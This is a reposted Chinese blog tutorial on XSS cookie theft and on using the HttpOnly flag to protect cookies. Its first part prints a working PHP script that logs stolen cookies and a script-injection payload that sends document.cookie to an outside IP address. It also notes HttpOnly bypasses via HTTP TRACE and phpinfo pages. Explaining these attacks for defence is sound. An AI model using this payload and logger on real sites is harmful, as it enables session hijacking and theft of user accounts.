原文:https://www.cnblogs.com/zlhff/p/5477943.html

在介绍HttpOnly之前,我想跟大家聊聊Cookie及XSS。

随着B/S的普及,我们平时上网都是依赖于http协议完成,而Http是无状态的,即同一个会话的连续两个请求互相不了解,他们由最新实例化的环境进行解析,除了应用本身可能已经存储在全局对象中的所有信息外,该环境不保存与会话有关的任何信息,http是不会为了下一次连接而维护这次连接所传输的信息的。所以为了在每次会话之间传递信息,就需要用到cookie和session,无论是什么,都是为了让服务器端获得一个token来检查合法性,很多时候都是在cookie中存储一个sessionID,服务器来识别该用户,那么安全隐患也就引申而出了,只要获得这个cookie,就可以取得别人的身份,特别是管理员等高级权限帐号时,危害就大了,而XSS就是在别人的应用程序中恶意执行一段JS以窃取用户的cookie。

那么如何获得Cookie劫持呢?在浏览器中的document对象中,就储存了Cookie的信息,而利用js可以把这里面的Cookie给取出来,只要得到这个Cookie就可以拥有别人的身份了。下面简单说说如何窃取cookie。

接收cookie的PHP文件ck.php为:

<?php 
$cookie = $_GET['c']; 
$ip = getenv ('REMOTE_ADDR'); 
$time=date("j F, Y, g:i a"); 
$referer=getenv ('HTTP_REFERER'); 
$fp = fopen('cookie.txt', 'a'); 
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>'); 
fclose($fp); 
?>

把这个文件放在自己的服务器上,比如我们搭建的服务器为:http://10.65.21.78:8080 .

那么构造XSS语句:

<script>window.open('http://10.65.21.78:8080/ck.php?c='+document.cookie)</script>

当执行script成功时就会把cookie发送到自己的服务器下cookie.txt文件中。XSS攻击是多么可怕的事情。

说了这么多,貌似还没有提到HttpOnly,这是哪般?莫及!这就到了!如何保障我们的Cookie安全呢?Cookie都是通过document对象获取的,我们如果能让cookie在浏览器中不可见就可以了,那HttpOnly就是在设置cookie时接受这样一个参数,一旦被设置,在浏览器的document对象中就看不到cookie了。而浏览器在浏览网页的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括Ajax的时候),应用程序也一般不会在JS里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用JS操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。

给浏览器设置Cookie的头如下:

Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]

如果 Cookie 具有 HttpOnly 特性且不能通过客户端脚本访问,则为 true;否则为 false。默认值为 false。

但是,也可以看到HttpOnly并不是万能的,首先它并不能解决XSS的问题,仍然不能抵制一些有耐心的黑客的攻击,甚至一些基于XSS的proxy也出现了,但是已经可以提高攻击的门槛了,起码XSS攻击不是每个脚本小子都能完成的了,而且其他的那些攻击手法因为一些环境和技术的限制,并不像Cookie窃取这种手法一样通用。

HttpOnly也是可能利用一些漏洞或者配置Bypass的,关键问题是只要能取到浏览器发送的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回显出来,利用Ajax或者flash就可以完成这种攻击,这种手法也已经在Ajax和flash中获得修补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo,大家知道phpinfo会将浏览器发送的http头回显出来,其中就包括我们保护的auth信息,而这个页面经常存在在各种站点上,只要用ajax取phpinfo页面,取出header头对应的部分就可以获得Cookie了。一些应用程序的不完善也可能导致header头的泄露,这种攻击方式对于基本验证保护的页面一样可以攻击。

HttpOnly在IE 6以上,Firefox较新版本都得到了比较好的支持,并且在如Hotmail等应用程序里都有广泛的使用,并且已经是取得了比较好的安全效果。

那问题就来了,大家想想,HttpOnly 主要是为了限制web页面程序的browser端script程序读取cookie, 实际是浏览器通过协议实现限制的,黑客可不会那么傻,肯定不会用HTTP协议来读取cookie,肯定是在socket层面写抓包程序,相当于写一个低于IE6版本的应用程序。

所以,HttpOnly并不是万能的。

转载于:https://www.cnblogs.com/makai/p/11191132.html

[转]使用HttpOnly提升Cookie安全性相关推荐

  1. 使用HttpOnly提升Cookie安全性

    在介绍HttpOnly之前,我想跟大家聊聊Cookie及XSS. 随着B/S的普及,我们平时上网都是依赖于http协议完成,而Http是无状态的,即同一个会话的连续两个请求互相不了解,他们由最新实例化 ...

  2. 伪装 php 版本号,linux伪装隐藏Nginx,PHP版本号提升服务器安全性

    一.隐藏Nginx版本号 第一步: vi /usr/local/nginx/conf/nginx.conf 在http{}中加入 server_tokens off; 第二歩: vi /usr/loc ...

  3. win10桌面管理文件收纳_微软win10发布7月更新,三大版本同步更新,着重提升系统安全性...

    2020年7月14日,微软windows10系统发布了07累积更新,对2004版.1909版和1903版三大版本win10系统同步推送更新补丁,其中win10的2004版的07累积更新补丁为KB456 ...

  4. linux nginx添加php版本号,linux伪装隐藏Nginx,PHP版本号提升服务器安全性

    一.隐藏Nginx版本号 第一步: vi /usr/local/nginx/conf/nginx.conf 在http{}中加入 server_tokens off; 第二歩: vi /usr/loc ...

  5. Atitit.提升电子商务安全性 在线充值功能安全方面的设计

    Atitit.提升电子商务安全性 在线充值功能安全方面的设计 1. 防止dataservcie对充值订单表的直接改写,只能通过api,不能通过sql1 1.1. Order_id的安全取值,注入检测1 ...

  6. win10推送_win10发布5月首个更新,着重提升系统安全性,为新版本推送作铺垫

    2020年,微软windows10系统基本上每月至少发布两个更新补丁,其中3月份更新补丁最多,达到了四个.直到2020年5月12日,微软windows10系统才发布了5月份首个05更新补丁KB4556 ...

  7. 智能家居给我们带来了什么?华秋携手信威安防传感器助力提升家居安全性

    智能家居的出现,极大地方便了人们的生活,为生活提供便利舒适的体验:如同洗衣机与洗碗机解放了我们双手一样的道理,智能家居是在生活方方面面为我们了提供最大化的便利可能性. 那么,智能家居是如何为我们生活提 ...

  8. Cookie安全性分析

    浅谈cookie安全性 摘要 HTTP State Management Mechanism(HTTP状态管理机制)一文中,定义了HTTP Cookie和Set-Cookie头字段.HTTP服务器利用 ...

  9. 使用消息摘要算法提升密码安全性

    使用消息摘要算法提升密码安全性 前言 消息摘要算法 摘要碰撞概率 消息摘要算法的破解 解决方案 前言 密码安全往往与账户安全息息相关.密码技术是保护信息安全最基础.最核心的手段之一.它不仅具有信息加密 ...

最新文章

  1. 4行指令解决pip下载Python第三方库太慢问题(pip更换国内下载源)
  2. java开发 中台
  3. 非网管交换机和网管交换机的区别
  4. 10.Web组件复用
  5. 前端、后端、全栈都要学什么?薪资前景如何?
  6. 支付宝AI大幅提升细粒度图像分类识别精度,一眼看穿万物细微差异
  7. 利用DOM的方式点击切换图片及修改文字
  8. C++ vector理解
  9. 如何把空间数据从CGCS2000转换到WGS84和BD09 ——JAVA语言实现
  10. html 横屏滚动字幕,手机知识:手机横屏滚动字幕
  11. jqgrid冻结前后列
  12. 小白也能通俗易懂的联邦学习!
  13. CRNN:文本序列识别
  14. 深度学习知识点总结:深度学习常用公式总结
  15. Java基础:方法和类详解
  16. Mars3D(含Cesium)数据及服务篇:发布三维数据服务
  17. hoolilaw案例分析:美国神奇网站Craigslist交易骗术
  18. mysql 将米换算公里_千米和公里怎么换算
  19. oracle查询去年、明年同期
  20. abaqus子程序vumat安装使用

热门文章

  1. 2013年7月04日_回顾总结
  2. scrapy 动态IP、随机UA、验证码
  3. 代理模式【介绍、静态代理、动态代理、入门、应用】
  4. jQuery复制节点
  5. yum安装时报RPM-GPG-KEY错
  6. Javascript 创建对象方法的总结
  7. Gerrit plugin安装和删除
  8. [Socket网络编程]一个封锁操作被对 WSACancelBlockingCall 的调用中断。
  9. 寄云-Paas云服务体验
  10. jQuery-DOM